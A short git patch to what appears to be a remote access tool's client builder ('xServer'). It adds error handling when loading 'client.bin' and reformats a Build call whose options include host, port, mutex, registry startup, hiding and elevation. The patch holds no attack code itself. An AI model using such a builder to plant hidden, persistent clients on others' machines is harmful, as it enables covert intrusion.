From bc12b91f15c8b7434230956e30ebbbd162ff2506 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Thu, 9 Apr 2015 19:24:56 +0200 Subject: [PATCH] Fixed #52 --- Server/Core/Build/ClientBuilder.cs | 11 ++++++++++- Server/Forms/FrmBuilder.cs | 13 ++++++++++++- 2 files changed, 22 insertions(+), 2 deletions(-) diff --git a/Server/Core/Build/ClientBuilder.cs b/Server/Core/Build/ClientBuilder.cs index e20dfede..98a794af 100644 --- a/Server/Core/Build/ClientBuilder.cs +++ b/Server/Core/Build/ClientBuilder.cs @@ -1,4 +1,5 @@ using System; +using System.IO; using Mono.Cecil; using Mono.Cecil.Cil; using Vestris.ResourceLib; @@ -12,7 +13,15 @@ namespace xServer.Core.Build { // PHASE 1 - Settings string encKey = Helper.Helper.GetRandomName(20); - AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("client.bin"); + AssemblyDefinition asmDef; + try + { + asmDef = AssemblyDefinition.ReadAssembly("client.bin"); + } + catch (Exception ex) + { + throw new FileLoadException(ex.Message); + } foreach (var typeDef in asmDef.Modules[0].Types) { diff --git a/Server/Forms/FrmBuilder.cs b/Server/Forms/FrmBuilder.cs index bdff72c4..a9f7363a 100644 --- a/Server/Forms/FrmBuilder.cs +++ b/Server/Forms/FrmBuilder.cs @@ -1,4 +1,5 @@ using System; +using System.IO; using System.Text.RegularExpressions; using System.Windows.Forms; using xServer.Core.Build; @@ -242,6 +243,7 @@ namespace xServer.Forms MessageBox.Show("Please enter a valid version number!\nExample: 1.0.0.0", "Builder", MessageBoxButtons.OK, MessageBoxIcon.Information); return; } + asmInfo = new string[8]; asmInfo[0] = txtProductName.Text; asmInfo[1] = txtDescription.Text; @@ -252,9 +254,18 @@ namespace xServer.Forms asmInfo[6] = txtProductVersion.Text; asmInfo[7] = txtFileVersion.Text; } - ClientBuilder.Build(output, txtHost.Text, txtPassword.Text, txtInstallsub.Text, txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked, chkStartup.Checked, chkHide.Checked, int.Parse(txtPort.Text), int.Parse(txtDelay.Text), GetInstallPath(), chkElevation.Checked, icon, asmInfo, Application.ProductVersion); + + ClientBuilder.Build(output, txtHost.Text, txtPassword.Text, txtInstallsub.Text, + txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked, + chkStartup.Checked, chkHide.Checked, int.Parse(txtPort.Text), int.Parse(txtDelay.Text), + GetInstallPath(), chkElevation.Checked, icon, asmInfo, Application.ProductVersion); + MessageBox.Show("Successfully built client!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information); } + catch (FileLoadException) + { + MessageBox.Show("Unable to load the Client Assembly Information.\nPlease re-build the Client.", "Error loading Client", MessageBoxButtons.OK, MessageBoxIcon.Error); + } catch (Exception ex) { MessageBox.Show(string.Format("An error occurred!\n\nError Message: {0}\nStack Trace:\n{1}", ex.Message, ex.StackTrace), "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);